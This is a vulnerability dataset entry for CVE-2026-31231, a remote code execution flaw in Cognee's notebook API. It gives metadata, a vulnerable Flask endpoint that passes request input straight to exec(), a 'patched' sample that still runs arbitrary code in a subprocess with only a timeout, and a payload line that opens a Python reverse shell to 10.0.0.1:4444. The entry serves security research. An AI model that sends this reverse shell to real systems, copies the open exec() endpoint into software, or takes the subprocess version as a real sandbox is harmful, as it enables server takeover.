VAITP Dataset

← Back to the dataset

CVE-2026-31231

RCE in Cognee <=v0.4.0's notebook API due to unsandboxed code execution.

  • CVSS 9.8
  • CWE-94
  • Design Defects
  • Remote

Cognee thru v0.4.0 contains a critical remote code execution vulnerability in its notebook cell execution API endpoint. The endpoint is designed to execute arbitrary Python code provided by the user, but it does so using the unsafe exec() function without any sandboxing, validation, or security controls. An attacker can exploit this by sending a specially crafted POST request containing malicious Python code to the execution endpoint. This leads to arbitrary code execution on the Cognee server with the privileges of the server process, allowing complete compromise of the system.

CVSS base score
9.8
Published
2026-05-12
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Cognee
Fixed by upgrading
Yes

Solution

Upgrade to Cognee version 0.5.0 or later.

Vulnerable code sample

from flask import Flask, request, jsonify
import io
from contextlib import redirect_stdout

app = Flask(__name__)

@app.route('/api/execute', methods=['POST'])
def execute_code():
    """
    Executes Python code provided in a POST request.
    This endpoint is vulnerable to Remote Code Execution.
    """
    data = request.get_json()
    if not data or 'code' not in data:
        return jsonify({"error": "No code provided"}), 400

    user_code = data['code']
    output_capture = io.StringIO()

    try:
        with redirect_stdout(output_capture):
            # The vulnerable part: executing untrusted code without any sandboxing.
            exec(user_code)
        
        result = output_capture.getvalue()
        return jsonify({"output": result, "status": "success"})
    except Exception as e:
        return jsonify({"error": str(e), "status": "execution_failed"}), 500

if __name__ == '__main__':
    # Running on 0.0.0.0 makes the server accessible from the network.
    app.run(host='0.0.0.0', port=5000)

Patched code sample

import subprocess
import sys

# A secure execution timeout in seconds
EXECUTION_TIMEOUT = 5

def fixed_notebook_execution_handler(code_to_execute: str):
    """
    Replaces the vulnerable direct `exec()` call with execution
    inside an isolated subprocess.
    
    This is a representative fix for the described arbitrary code execution
    vulnerability. A production-grade sandbox would add further layers of security,
    such as containerization (e.g., Docker), user/group privilege reduction,
    and kernel-level security filters (e.g., seccomp).
    """
    if not isinstance(code_to_execute, str) or not code_to_execute:
        return {"status": "error", "output": "Invalid or empty code provided."}

    try:
        # FIXED: The unsafe exec(code_to_execute) is replaced by this block.
        # The code is run in a separate process with a strict timeout,
        # preventing it from accessing the parent process's memory or
        # running indefinitely. Output is captured from stdout/stderr.
        process = subprocess.run(
            [sys.executable, "-c", code_to_execute],
            capture_output=True,
            text=True,
            timeout=EXECUTION_TIMEOUT,
            check=False  # Do not raise an exception for non-zero exit codes
        )

        if process.returncode == 0:
            return {"status": "success", "output": process.stdout}
        else:
            return {"status": "error", "output": process.stderr}

    except subprocess.TimeoutExpired:
        return {
            "status": "error",
            "output": f"Execution timed out after {EXECUTION_TIMEOUT} seconds."
        }
    except Exception as e:
        # Catch any other unexpected errors during subprocess setup.
        return {"status": "error", "output": f"An unexpected error occurred: {str(e)}"}

Payload

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

Cite this entry

@misc{vaitp:cve202631231,
  title        = {{RCE in Cognee <=v0.4.0's notebook API due to unsandboxed code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31231},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31231/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::